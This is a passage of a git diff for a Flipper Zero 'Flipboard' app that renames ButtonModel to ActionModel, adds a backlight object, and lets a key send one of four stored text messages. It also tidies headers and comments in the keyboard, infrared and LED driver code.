flipboard_model_save(FlipboardModel* model, ButtonModelFields fields) { +bool flipboard_model_save(FlipboardModel* model, ActionModelFields fields) { bool success = false; Storage* storage = furi_record_open(RECORD_STORAGE); FuriString* file_path = furi_string_alloc(); @@ -85,8 +66,8 @@ bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields) { } for(int i = 0; i < 16; i++) { - if(flipboard_model_get_button_model(model, i) != NULL) { - button_model_save(flipboard_model_get_button_model(model, i), format, fields); + if(flipboard_model_get_action_model(model, i) != NULL) { + action_model_save(flipboard_model_get_action_model(model, i), format, fields); } } @@ -118,7 +99,7 @@ bool flipboard_model_load(FlipboardModel* model) { FlipperFormat* format = flipper_format_file_alloc(storage); for(size_t i = 0; i < 16; i++) { - flipboard_model_set_button_model(model, i, NULL); + flipboard_model_set_action_model(model, i, NULL); } do { @@ -144,15 +125,15 @@ bool flipboard_model_load(FlipboardModel* model) { break; } for(size_t i = 0; i < 16; i++) { - flipboard_model_set_button_model(model, i, button_model_alloc_from_ff(i, format)); + flipboard_model_set_action_model(model, i, action_model_alloc_from_ff(i, format)); } success = true; } while(false); for(size_t i = 1; i < 16;) { - if(flipboard_model_get_button_model(model, i) == NULL) { - flipboard_model_set_button_model(model, i, button_model_alloc(i)); + if(flipboard_model_get_action_model(model, i) == NULL) { + flipboard_model_set_action_model(model, i, action_model_alloc(i)); } if(flipboard_model_get_single_button_mode(model)) { diff --git a/applications/external/flipblinky/common/flipboard_file.h b/applications/external/flipblinky/common/flipboard_file.h index e6839e3365c..1a178fe052d 100644 --- a/applications/external/flipblinky/common/flipboard_file.h +++ b/applications/external/flipblinky/common/flipboard_file.h @@ -1,19 +1,19 @@ -#pragma once - /** * @file flipboard_file.h * @brief Load and save configuration of the flipboard. */ +#pragma once + +#include "action_model.h" #include "flipboard_model.h" -#include "button_model.h" /** * @brief Save the flipboard model to the settings file. * @param model The flipboard model to save. * @param fields The fields to save. */ -bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields); +bool flipboard_model_save(FlipboardModel* model, ActionModelFields fields); /** * @brief Load the flipboard model from the settings file. diff --git a/applications/external/flipblinky/common/flipboard_file_i.h b/applications/external/flipblinky/common/flipboard_file_i.h new file mode 100644 index 00000000000..ce9fef60cdd --- /dev/null +++ b/applications/external/flipblinky/common/flipboard_file_i.h @@ -0,0 +1,21 @@ +#pragma once + +#include +#include + +#include "action_model.h" +#include "flipboard_file.h" +#include "../app_config.h" + +#define BUY_MSG "Buy your Flipboard at" +#define FLIPBOARD_URL "https://tindie.com/stores/MakeItHackin" + +#define FLIPBOARD_KEY_NAME_SIZE 25 +#define FLIPBOARD_APPS_DATA_FOLDER EXT_PATH("apps_data") +#define FLIPBOARD_SAVE_FOLDER \ + FLIPBOARD_APPS_DATA_FOLDER "/" \ + "flipboard" +#define FLIPBOARD_SAVE_EXTENSION ".txt" + +#define FLIPBOARD_HEADER "Flipper Flipboard File" +#define FLIPBOARD_VERSION 2 diff --git a/applications/external/flipblinky/common/flipboard_i.h b/applications/external/flipblinky/common/flipboard_i.h index 7ab5b64a0e1..b2586e14a56 100644 --- a/applications/external/flipblinky/common/flipboard_i.h +++ b/applications/external/flipblinky/common/flipboard_i.h @@ -2,8 +2,9 @@ #include #include + +#include "action_config.h" #include "app_menu.h" -#include "button_config.h" #include "flipboard.h" #include "flipboard_model.h" #include "keyboard.h" @@ -18,7 +19,7 @@ struct Flipboard { ViewDispatcher* view_dispatcher; AppMenu* app_menu; - ButtonConfig* button_config; + ActionConfig* action_config; View* view_primary; Widget* widget_about; diff --git a/applications/external/flipblinky/common/flipboard_model.c b/applications/external/flipblinky/common/flipboard_model.c index a2b2edcb8fb..8897afabdde 100644 --- a/applications/external/flipblinky/common/flipboard_model.c +++ b/applications/external/flipblinky/common/flipboard_model.c @@ -9,22 +9,20 @@ * @return A pointer to a FlipboardModel. */ FlipboardModel* - flipboard_model_alloc(char* app_name, bool single_button_mode, ButtonModelFields fields) { + flipboard_model_alloc(char* app_name, bool single_button_mode, ActionModelFields fields) { FlipboardModel* model = (FlipboardModel*)malloc(sizeof(FlipboardModel)); model->name = app_name; model->resources = resources_alloc(); - model->button_model_fields = fields; + model->action_model_fields = fields; model->single_button_mode = single_button_mode; model->keyboard = flipboard_keyboard_alloc(); model->speaker = speaker_alloc(); model->button_monitor = NULL; model->gui_refresh_timer = NULL; model->leds = flipboard_leds_alloc(model->resources); - model->backlight_always_on = true; + model->backlight = backlight_alloc(); + backlight_on(model->backlight); model->custom_data = NULL; - if(model->backlight_always_on) { - backlight_on(); - } flipboard_model_load(model); @@ -38,7 +36,7 @@ FlipboardModel* * @param model The FlipboardModel to free. */ void flipboard_model_free(FlipboardModel* model) { - flipboard_model_save(model, model->button_model_fields); + flipboard_model_save(model, model->action_model_fields); if(model->resources) { resources_free(model->resources); @@ -48,8 +46,8 @@ void flipboard_model_free(FlipboardModel* model) { speaker_free(model->speaker); } - if(model->backlight_always_on) { - backlight_off(); + if(model->backlight) { + backlight_free(model->backlight); } if(model->button_monitor) { @@ -97,27 +95,27 @@ bool flipboard_model_get_single_button_mode(FlipboardModel* model) { } /** - * @brief flipboard_model_get_button_model_fields gets the fields of the + * @brief flipboard_model_get_action_model_fields gets the fields of the * key settings that apply for this application. * @param model The FlipboardModel. * @return The fields of the key settings that apply for this application. */ -ButtonModelFields flipboard_model_get_button_model_fields(FlipboardModel* model) { - return model->button_model_fields; +ActionModelFields flipboard_model_get_action_model_fields(FlipboardModel* model) { + return model->action_model_fields; } /** - * @brief flipboard_model_get_button_model gets the ButtonModel for a given key. - * @brief flipboard_model_get_button_model gets the ButtonModel for a given key. - * For single button keys, the valid indexes are 0, 1, 3, 7. For multi button keys, the + * @brief flipboard_model_get_action_model gets the ButtonModel for a given key. + * @brief flipboard_model_get_action_model gets the ButtonModel for a given key. + * For single button keys, the valid indexes are 0, 1, 3, 7. For multi-button keys, the * valid indexes are 0-15. This function may return NULL, if there is no setting. * @param model The FlipboardModel. * @param key The key. - * @return The ButtonModel for the key. + * @return The ActionModel for the key. */ -ButtonModel* flipboard_model_get_button_model(FlipboardModel* model, uint8_t key) { +ActionModel* flipboard_model_get_action_model(FlipboardModel* model, uint8_t key) { furi_assert(key < 16); - return model->button_model[key]; + return model->action_model[key]; } /** @@ -237,19 +235,19 @@ void flipboard_model_set_gui_refresh_speed_ms(FlipboardModel* model, uint32_t up } /** - * @brief flipboard_model_set_button_model sets the ButtonModel for a given button. - * @details flipboard_model_set_button_model sets the ButtonModel for a given button. + * @brief flipboard_model_set_action_model sets the ActionModel for a given action. + * @details flipboard_model_set_action_model sets the ActionModel for a given action. * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes - * are 0-15. The ButtonModel is used to configure the button settings. + * are 0-15. The ActionModel is used to configure the action settings. * @param model The FlipboardModel. - * @param index The index of the button. - * @param button_model The ButtonModel for the button. + * @param index The index of the action. + * @param button_model The ActionModel for the action. */ -void flipboard_model_set_button_model( +void flipboard_model_set_action_model( FlipboardModel* model, uint8_t index, - ButtonModel* button_model) { - model->button_model[index] = button_model; + ActionModel* action_model) { + model->action_model[index] = action_model; } /** @@ -278,11 +276,25 @@ void flipboard_model_set_button_monitor( /** * @brief flipboard_model_play_tone plays a tone on the FlipboardModel speaker. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. */ -void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm) { +void flipboard_model_play_tone(FlipboardModel* model, ActionModel* action_model) { Speaker* speaker = flipboard_model_get_speaker(model); - speaker_set_frequency(speaker, button_model_get_frequency(bm)); + speaker_set_frequency(speaker, action_model_get_frequency(action_model)); +} + +/** + * @brief flipboard_model_set_backlight sets the backlight. + * @details flipboard_model_set_backlight sets the backlight. + * @param model The FlipboardModel. + * @param light_on If true, the backlight is turned on, otherwise it is turned off. +*/ +void flipboard_model_set_backlight(FlipboardModel* model, bool light_on) { + if(light_on) { + backlight_on(model->backlight); + } else { + backlight_off(model->backlight); + } } /** @@ -290,20 +302,20 @@ void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm) { * @details flipboard_model_set_colors sets the colors for the FlipboardModel. * The colors are used to set the color of the LEDs for each button. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. - * @param new_button The button that was pressed. + * @param action_model The ActionModel for the action. + * @param new_key The keys that were pressed. */ -void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t new_key) { +void flipboard_model_set_colors(FlipboardModel* model, ActionModel* action_model, uint8_t new_key) { FlipboardLeds* leds = flipboard_model_get_leds(model); - uint32_t color = bm ? button_model_get_color_down(bm) : 0xFFFFFF; - ButtonModel* bm1 = flipboard_model_get_button_model(model, SwitchId1); - ButtonModel* bm2 = flipboard_model_get_button_model(model, SwitchId2); - ButtonModel* bm3 = flipboard_model_get_button_model(model, SwitchId3); - ButtonModel* bm4 = flipboard_model_get_button_model(model, SwitchId4); - uint32_t color1 = bm1 ? button_model_get_color_up(bm1) : 0x000000; - uint32_t color2 = bm2 ? button_model_get_color_up(bm2) : 0x000000; - uint32_t color3 = bm3 ? button_model_get_color_up(bm3) : 0x000000; - uint32_t color4 = bm4 ? button_model_get_color_up(bm4) : 0x000000; + uint32_t color = action_model ? action_model_get_color_down(action_model) : 0xFFFFFF; + ActionModel* am1 = flipboard_model_get_action_model(model, SwitchId1); + ActionModel* am2 = flipboard_model_get_action_model(model, SwitchId2); + ActionModel* am3 = flipboard_model_get_action_model(model, SwitchId3); + ActionModel* am4 = flipboard_model_get_action_model(model, SwitchId4); + uint32_t color1 = am1 ? action_model_get_color_up(am1) : 0x000000; + uint32_t color2 = am2 ? action_model_get_color_up(am2) : 0x000000; + uint32_t color3 = am3 ? action_model_get_color_up(am3) : 0x000000; + uint32_t color4 = am4 ? action_model_get_color_up(am4) : 0x000000; color1 = (new_key & LedId1) ? color : color1; color2 = (new_key & LedId2) ? color : color2; color3 = (new_key & LedId3) ? color : color3; @@ -319,13 +331,15 @@ void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t * @brief flipboard_model_send_keystrokes sends keystrokes to the host. * @details flipboard_model_send_keystrokes sends keystrokes to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the button that was pressed. + * @return True if any "messages" (Msg1-Msg4) were also sent. */ -void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { - uint8_t keystroke_count = button_model_get_keystrokes_count(bm); +bool flipboard_model_send_keystrokes(FlipboardModel* model, ActionModel* action_model) { + bool sent_messages = false; + uint8_t keystroke_count = action_model_get_keystrokes_count(action_model); uint16_t modifiers = 0; for(int i = 0; i < keystroke_count; i++) { - Keystroke keystroke = button_model_get_keystroke(bm, i); + Keystroke keystroke = action_model_get_keystroke(action_model, i); if(keystroke.button_code == 0 || keystroke.count == 0) { continue; } @@ -337,6 +351,14 @@ void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { modifiers = 0; continue; + } else if( + keystroke.button_code >= 0xf1 && + keystroke.button_code <= 0xf4) { // 0xf1 = Message 1 ... 0xf4 = Message 4 + for(int j = 0; j < keystroke.count; j++) { + flipboard_model_send_text(model, action_model, keystroke.button_code - 0xf1); + } + sent_messages = true; + continue; } uint16_t send_modifiers = 0; @@ -372,16 +394,22 @@ void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { modifiers = 0; } } + + return sent_messages; } /** * @brief flipboard_model_send_text sends text to the host. * @details flipboard_model_send_text sends text to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @param message_number The message number to send (0-3). */ -void flipboard_model_send_text(FlipboardModel* model, ButtonModel* bm) { - FuriString* message = button_model_get_message(bm); +void flipboard_model_send_text( + FlipboardModel* model, + ActionModel* action_model, + uint8_t message_number) { + FuriString* message = action_model_get_message(action_model, message_number); if(message) { flipboard_keyboard_send_text( flipboard_model_get_keyboard(model), furi_string_get_cstr(message)); diff --git a/applications/external/flipblinky/common/flipboard_model.h b/applications/external/flipblinky/common/flipboard_model.h index 1c144b6ee4d..d6014ba427b 100644 --- a/applications/external/flipblinky/common/flipboard_model.h +++ b/applications/external/flipblinky/common/flipboard_model.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard_model.h * @brief The flipboard model. @@ -8,9 +6,12 @@ * text, playing tones, etc. */ +#pragma once + #include + +#include "action_model.h" #include "button_monitor.h" -#include "button_model.h" #include "resources.h" #include "speaker.h" @@ -28,7 +29,7 @@ typedef struct ButtonModel ButtonModel; * @return A pointer to a FlipboardModel. */ FlipboardModel* - flipboard_model_alloc(char* app_name, bool single_button_mode, ButtonModelFields fields); + flipboard_model_alloc(char* app_name, bool single_button_mode, ActionModelFields fields); /** * @brief flipboard_model_free frees a FlipboardModel. @@ -66,23 +67,23 @@ Resources* flipboard_model_get_resources(FlipboardModel* model); bool flipboard_model_get_single_button_mode(FlipboardModel* model); /** - * @brief flipboard_model_get_button_model_fields gets the fields of the + * @brief flipboard_model_get_action_model_fields gets the fields of the * button settings that apply for this application. * @param model The FlipboardModel. * @return The fields of the button settings that apply for this application. */ -ButtonModelFields flipboard_model_get_button_model_fields(FlipboardModel* model); +ActionModelFields flipboard_model_get_action_model_fields(FlipboardModel* model); /** - * @brief flipboard_model_get_button_model gets the ButtonModel for a given button. - * @brief flipboard_model_get_button_model gets the ButtonModel for a given button. - * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes + * @brief flipboard_model_get_action_model gets the ActionModel for a given action. + * @brief flipboard_model_get_action_model gets the ActionModel for a given action. + * For single buttons, the valid indexes are 0, 1, 3, 7. For multi-buttons, the valid indexes * are 0-15. This function may return NULL, if there is no setting. * @param model The FlipboardModel. * @param button The button. - * @return The ButtonModel for the button. + * @return The ActionModel for the action. */ -ButtonModel* flipboard_model_get_button_model(FlipboardModel* model, uint8_t button); +ActionModel* flipboard_model_get_action_model(FlipboardModel* model, uint8_t button); /** * @brief flipboard_model_get_button_monitor gets the ButtonMonitor for the FlipboardModel. @@ -158,18 +159,18 @@ void flipboard_model_update_gui(FlipboardModel* model); void flipboard_model_set_gui_refresh_speed_ms(FlipboardModel* model, uint32_t update_rate_ms); /** - * @brief flipboard_model_set_button_model sets the ButtonModel for a given button. - * @details flipboard_model_set_button_model sets the ButtonModel for a given button. - * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes - * are 0-15. The ButtonModel is used to configure the button settings. + * @brief flipboard_model_set_action_model sets the ButtonModel for a given action. + * @details flipboard_model_set_action_model sets the ButtonModel for a given action. + * For single buttons, the valid indexes are 0, 1, 3, 7. For multi-buttons, the valid indexes + * are 0-15. The ActionModel is used to configure the action settings. * @param model The FlipboardModel. - * @param index The index of the button. - * @param button_model The ButtonModel for the button. + * @param index The index of the action. + * @param action_model The ActionModel for the action. */ -void flipboard_model_set_button_model( +void flipboard_model_set_action_model( FlipboardModel* model, uint8_t index, - ButtonModel* button_model); + ActionModel* action_model); /** * @brief flipboard_model_set_button_monitor sets the ButtonMonitor for the FlipboardModel. @@ -187,35 +188,51 @@ void flipboard_model_set_button_monitor( /** * @brief flipboard_model_play_tone plays a tone on the FlipboardModel speaker. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. */ -void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm); +void flipboard_model_play_tone(FlipboardModel* model, ActionModel* action_model); + +/** + * @brief flipboard_model_set_backlight sets the backlight. + * @details flipboard_model_set_backlight sets the backlight. + * @param model The FlipboardModel. + * @param light_on If true, the backlight is turned on, otherwise it is turned off. +*/ +void flipboard_model_set_backlight(FlipboardModel* model, bool light_on); /** * @brief flipboard_model_set_colors sets the colors for the FlipboardModel. * @details flipboard_model_set_colors sets the colors for the FlipboardModel. * The colors are used to set the color of the LEDs for each button. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. * @param new_button The button that was pressed. */ -void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t new_button); +void flipboard_model_set_colors( + FlipboardModel* model, + ActionModel* action_model, + uint8_t new_button); /** * @brief flipboard_model_send_keystrokes sends keystrokes to the host. * @details flipboard_model_send_keystrokes sends keystrokes to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @return True if any "messages" (Msg1-Msg4) were also sent. */ -void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm); +bool flipboard_model_send_keystrokes(FlipboardModel* model, ActionModel* action_model); /** * @brief flipboard_model_send_text sends text to the host. * @details flipboard_model_send_text sends text to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @param message_number The message number to send (0-3). */ -void flipboard_model_send_text(FlipboardModel* model, ButtonModel* bm); +void flipboard_model_send_text( + FlipboardModel* model, + ActionModel* action_model, + uint8_t message_number); /** * @brief flipboard_model_reduce reduces the button presses to a single button. diff --git a/applications/external/flipblinky/common/flipboard_model_i.h b/applications/external/flipblinky/common/flipboard_model_i.h index 49caf6581c5..5a6e59c39d9 100644 --- a/applications/external/flipblinky/common/flipboard_model_i.h +++ b/applications/external/flipblinky/common/flipboard_model_i.h @@ -1,25 +1,25 @@ #pragma once -#include "flipboard_file.h" -#include "flipboard_model.h" +#include + #include "backlight.h" #include "button_monitor.h" +#include "flipboard_file.h" +#include "flipboard_model.h" #include "keyboard.h" #include "leds.h" #include "speaker.h" -#include - /** * @brief The flipboard model struct. * @details This struct contains all the data needed for the flipboard model. */ struct FlipboardModel { - // ButtonModel for each of the button combinations - ButtonModel* button_model[16]; + // ActionModel for each of the button combinations + ActionModel* action_model[16]; - // The fields of the ButtonModel that are currently active - ButtonModelFields button_model_fields; + // The fields of the ActionModel that are currently active + ActionModelFields action_model_fields; // The name of the model (used for saving and loading) char* name; @@ -48,8 +48,8 @@ struct FlipboardModel { // True if the speaker is enabled bool has_speaker; - // True if the backlight is always on - bool backlight_always_on; + // Used to control the backlight. + Backlight* backlight; // Custom data that can be used when extending the application. void* custom_data; diff --git a/applications/external/flipblinky/common/flipboard_model_ref.h b/applications/external/flipblinky/common/flipboard_model_ref.h index f1f58ecd20b..76f6cacd7c3 100644 --- a/applications/external/flipblinky/common/flipboard_model_ref.h +++ b/applications/external/flipblinky/common/flipboard_model_ref.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard_model_ref.h * @brief Reference to a FlipboardModel. @@ -7,6 +5,8 @@ * that cant take a pointer to an existing FlipboardModel. */ +#pragma once + #include "flipboard_model.h" /** diff --git a/applications/external/flipblinky/common/infrared_signal.c b/applications/external/flipblinky/common/infrared_signal.c index 2d5311e4778..84d94e663f9 100644 --- a/applications/external/flipblinky/common/infrared_signal.c +++ b/applications/external/flipblinky/common/infrared_signal.c @@ -1,11 +1,4 @@ -#include -#include -#include -#include -#include - -#include "../app_config.h" -#include "infrared_signal.h" +#include "infrared_signal_i.h" struct InfraredSignal { Resources* resources; @@ -21,10 +14,11 @@ struct InfraredSignal { /** * @brief Load an infrared signal (action) from a file. - * @details Load an infrared signal (action) from a file. The first signal is loaded and ready for sending. + * @note The first signal is loaded and ready for sending. * @param file_path The path to the file to load. * @param action The name of the action to load from the file. * @param resources The resources to use for sending the signal. + * @return The loaded signal, or NULL if there was an error. */ InfraredSignal* infrared_signal_load_file(char* file_path, char* action, Resources* resources) { InfraredSignal* signal = (InfraredSignal*)malloc(sizeof(InfraredSignal)); @@ -132,7 +126,7 @@ bool infrared_signal_load_next(InfraredSignal* signal) { break; } - // TODO: How is this supposed to be determined? + // TODO: How is infrared start_from_mark supposed to be determined? signal->start_from_mark = true; } else { FURI_LOG_E(TAG, "Unknown type field: %s", furi_string_get_cstr(temp_str)); @@ -147,6 +141,8 @@ bool infrared_signal_load_next(InfraredSignal* signal) { signal->message.protocol = InfraredProtocolUnknown; } + furi_string_free(temp_str); + return parsed; } diff --git a/applications/external/flipblinky/common/infrared_signal.h b/applications/external/flipblinky/common/infrared_signal.h index 418f84124b2..0eec6bbb04e 100644 --- a/applications/external/flipblinky/common/infrared_signal.h +++ b/applications/external/flipblinky/common/infrared_signal.h @@ -1,16 +1,27 @@ +/** + * @file infrared_signal.h + * @brief This file contains the infrared signal module. + * @details This file contains the infrared signal module for sending infrared signals from a file. + * Both raw and parsed signals are supported. The file can be in either format "IR signals file" + * or "IR library file". + * @name There is no 'infrared_signal_alloc' function. Use 'infrared_signal_load_file'. +*/ + #pragma once #include + #include "resources.h" typedef struct InfraredSignal InfraredSignal; /** * @brief Load an infrared signal (action) from a file. - * @details Load an infrared signal (action) from a file. The first signal is loaded and ready for sending. + * @note The first signal is loaded and ready for sending. * @param file_path The path to the file to load. * @param action The name of the action to load from the file. * @param resources The resources to use for sending the signal. + * @return The loaded signal, or NULL if there was an error. */ InfraredSignal* infrared_signal_load_file(char* path, char* action, Resources* resources); diff --git a/applications/external/flipblinky/common/infrared_signal_i.h b/applications/external/flipblinky/common/infrared_signal_i.h new file mode 100644 index 00000000000..3d1e18d914e --- /dev/null +++ b/applications/external/flipblinky/common/infrared_signal_i.h @@ -0,0 +1,10 @@ +#pragma once + +#include +#include +#include +#include +#include + +#include "../app_config.h" +#include "infrared_signal.h" \ No newline at end of file diff --git a/applications/external/flipblinky/common/keyboard.c b/applications/external/flipblinky/common/keyboard.c index 59b8f34bbc5..68f7ffb6af6 100644 --- a/applications/external/flipblinky/common/keyboard.c +++ b/applications/external/flipblinky/common/keyboard.c @@ -1,8 +1,5 @@ #include "keyboard_i.h" -#define PRESS_DELAY_MS 20 -#define RELEASE_DELAY_MS 5 - /** * @brief Allocates a new flipboard keyboard. * @details Allocates a new flipboard keyboard. The keyboard is diff --git a/applications/external/flipblinky/common/keyboard.h b/applications/external/flipblinky/common/keyboard.h index f76348ca606..87aa18bfa72 100644 --- a/applications/external/flipblinky/common/keyboard.h +++ b/applications/external/flipblinky/common/keyboard.h @@ -1,11 +1,11 @@ -#pragma once - /** * @file keyboard.h * @brief A keyboard that can be used to send key codes to the host using the * USB cable connected to the Flipper Zero. */ +#pragma once + #include #include diff --git a/applications/external/flipblinky/common/keyboard_i.h b/applications/external/flipblinky/common/keyboard_i.h index f2322695c54..598e3a7b5b8 100644 --- a/applications/external/flipblinky/common/keyboard_i.h +++ b/applications/external/flipblinky/common/keyboard_i.h @@ -5,6 +5,12 @@ #include "keyboard.h" +// How long to wait after pressing the button before performing next action. +#define PRESS_DELAY_MS 20 + +// How long to wait after releasing the button before performing next action. +#define RELEASE_DELAY_MS 5 + struct FlipboardKeyboard { FuriHalUsbInterface* usb_previous; bool attached; diff --git a/applications/external/flipblinky/common/keystroke_selector.c b/applications/external/flipblinky/common/keystroke_selector.c index d0ce55de622..c6692d29771 100644 --- a/applications/external/flipblinky/common/keystroke_selector.c +++ b/applications/external/flipblinky/common/keystroke_selector.c @@ -1,17 +1,53 @@ #include "keystroke_selector_i.h" -#define KEYSTROKE_SELECTOR_DEFAULT_TOP_ROW 2 -#define KEYSTROKE_SELECTOR_DISPLAYED_ROWS 5 -#define KEYSTROKE_SELECTOR_DISPLAYED_WIDTH 10 -#define KEYSTROKE_SELECTOR_DISPLAYED_HEIGHT 13 -#define KEYSTROKE_SELECTOR_GLYPH_HEIGHT_OFFSET 10 -#define KEYSTROKE_SELECTOR_IMAGE_HEIGHT_OFFSET 1 -#define KEYSTROKE_SELECTOR_COLS 12 +struct KeystrokeSelectorModel { + // The total number of rows. + uint8_t rows; -static KeystrokeSelectorKeyResult - keystroke_selector_model_find_key(KeystrokeSelectorModel* model, uint16_t key_code); -static void keystroke_selector_draw_callback(Canvas* canvas, void* context); -static bool keystroke_selector_input_callback(InputEvent* event, void* context); + // The total number of columns. + uint8_t cols; + + // An array of all the keys. + KeystrokeSelectorKey* keys; + + // The current row to show at the top of the view. + uint8_t top_row; + + // The current column where the cursor is. + uint8_t current_col; + + // The current row where the cursor is. + uint8_t current_row; + + // Any modifiers that should be sent with the keystroke (CTRL, SHIFT, etc.) + uint16_t modifiers; + + // The callback to call when a key is selected. + KeystrokeSelectorCallback callback; + + // The context to pass to the callback. + void* callback_context; +}; + +struct KeystrokeSelectorKeyResult { + // The code that should be sent to the host. + uint16_t code; + + // The character that should be displayed on the key. + char ch; + + // The icon that should be displayed on the key (set ch to 0). + const Icon* icon; + + // The starting column of the key. + uint8_t col; + + // The row of the key. + uint8_t row; + + // The width of the key. + uint8_t width; +}; /** * @brief Allocates a new keystroke selector. diff --git a/applications/external/flipblinky/common/keystroke_selector.h b/applications/external/flipblinky/common/keystroke_selector.h index 6c4d83c3049..fc5d9cecd62 100644 --- a/applications/external/flipblinky/common/keystroke_selector.h +++ b/applications/external/flipblinky/common/keystroke_selector.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file keystroke_selector.h * @brief A view that allows the user to select a keystroke. @@ -8,17 +6,23 @@ * the OK button. The view will call a callback when a key is selected. */ +#pragma once + #include -#include "button_model.h" + +#include "action_model.h" typedef struct KeystrokeSelector KeystrokeSelector; typedef struct KeystrokeSelectorKey KeystrokeSelectorKey; +/** + * @brief We expose our internals here, so an app_keyboard_layout.h file can be created. +*/ struct KeystrokeSelectorKey { // The code that should be sent to the host. uint16_t code; - // The character that should be displayed on the key. + // The character that should be displayed on the key (set icon to NULL). char ch; // The icon that should be displayed on the key (set ch to 0). diff --git a/applications/external/flipblinky/common/keystroke_selector_i.h b/applications/external/flipblinky/common/keystroke_selector_i.h index 9e23e7fb70d..521f91fec5b 100644 --- a/applications/external/flipblinky/common/keystroke_selector_i.h +++ b/applications/external/flipblinky/common/keystroke_selector_i.h @@ -5,59 +5,29 @@ #include #include -#include "button_model.h" +#include "action_model.h" #include "keystroke_selector.h" +#define KEYSTROKE_SELECTOR_DEFAULT_TOP_ROW 2 +#define KEYSTROKE_SELECTOR_DISPLAYED_ROWS 5 +#define KEYSTROKE_SELECTOR_DISPLAYED_WIDTH 10 +#define KEYSTROKE_SELECTOR_DISPLAYED_HEIGHT 13 +#define KEYSTROKE_SELECTOR_GLYPH_HEIGHT_OFFSET 10 +#define KEYSTROKE_SELECTOR_IMAGE_HEIGHT_OFFSET 1 +#define KEYSTROKE_SELECTOR_COLS 12 + struct KeystrokeSelector { View* view_keystroke_selector; - ButtonModel* bm; + ActionModel* action_model; }; -typedef struct KeystrokeSelectorModel { - // The total number of rows. - uint8_t rows; - - // The total number of columns. - uint8_t cols; - - // An array of all the keys. - KeystrokeSelectorKey* keys; - - // The current row to show at the top of the view. - uint8_t top_row; - - // The current column where the cursor is. - uint8_t current_col; - - // The current row where the cursor is. - uint8_t current_row; - - // Any modifiers that should be sent with the keystroke (CTRL, SHIFT, etc.) - uint16_t modifiers; - - // The callback to call when a key is selected. - KeystrokeSelectorCallback callback; - - // The context to pass to the callback. - void* callback_context; -} KeystrokeSelectorModel; - -typedef struct KeystrokeSelectorKeyResult { - // The code that should be sent to the host. - uint16_t code; - - // The character that should be displayed on the key. - char ch; +typedef struct KeystrokeSelectorModel KeystrokeSelectorModel; - // The icon that should be displayed on the key (set ch to 0). - const Icon* icon; +typedef struct KeystrokeSelectorKeyResult KeystrokeSelectorKeyResult; - // The starting column of the key. - uint8_t col; +static KeystrokeSelectorKeyResult + keystroke_selector_model_find_key(KeystrokeSelectorModel* model, uint16_t key_code); - // The row of the key. - uint8_t row; +static void keystroke_selector_draw_callback(Canvas* canvas, void* context); - // The width of the key. - uint8_t width; -} KeystrokeSelectorKeyResult; +static bool keystroke_selector_input_callback(InputEvent* event, void* context); diff --git a/applications/external/flipblinky/common/led_driver.c b/applications/external/flipblinky/common/led_driver.c index 37f1e436ade..4716599d03c 100644 --- a/applications/external/flipblinky/common/led_driver.c +++ b/applications/external/flipblinky/common/led_driver.c @@ -1,23 +1,4 @@ -#include - -#include "led_driver.h" - -#define MAX_LED_COUNT 4 -// We store the HIGH/LOW durations (2 values) for each color bit (24 bits per LED) -#define LED_DRIVER_BUFFER_SIZE (MAX_LED_COUNT * 2 * 24) -// We use a setinel value to figure out when the timer is complete. -#define LED_DRIVER_TIMER_SETINEL 0xFFU - -/** 64 transitions per us @ 64MHz. Our timing is in NANO_SECONDS */ -#define LED_DRIVER_TIMER_NANOSECOND (1000U / (SystemCoreClock / 1000000U)) -// Timings for WS2812B -#define LED_DRIVER_T0H 400U -#define LED_DRIVER_T1H 800U -#define LED_DRIVER_T0L 850U -#define LED_DRIVER_T1L 450U - -// Wait for 35ms for the DMA to complete. NOTE: 1000 leds*(850ns+450ns)*24 = 32ms -#define LED_DRIVER_SETINEL_WAIT_MS 35 +#include "led_driver_i.h" struct LedDriver { LL_DMA_InitTypeDef dma_gpio_update; @@ -34,6 +15,11 @@ struct LedDriver { uint32_t* led_data; }; +/** + * @brief Initializes the DMA for GPIO pin toggle via BSRR. + * @param led_driver The led driver to initialize. + * @param gpio The GPIO pin to toggle. + */ static void led_driver_init_dma_gpio_update(LedDriver* led_driver, const GpioPin* gpio) { led_driver->gpio = gpio; @@ -55,6 +41,10 @@ static void led_driver_init_dma_gpio_update(LedDriver* led_driver, const GpioPin led_driver->dma_gpio_update.Priority = LL_DMA_PRIORITY_VERYHIGH; } +/** + * @brief Initializes the DMA for the LED timings via ARR. + * @param led_driver The led driver to initialize. + */ static void led_driver_init_dma_led_transition_timer(LedDriver* led_driver) { // Timer that triggers based on user data. led_driver->dma_led_transition_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; @@ -75,6 +65,11 @@ static void 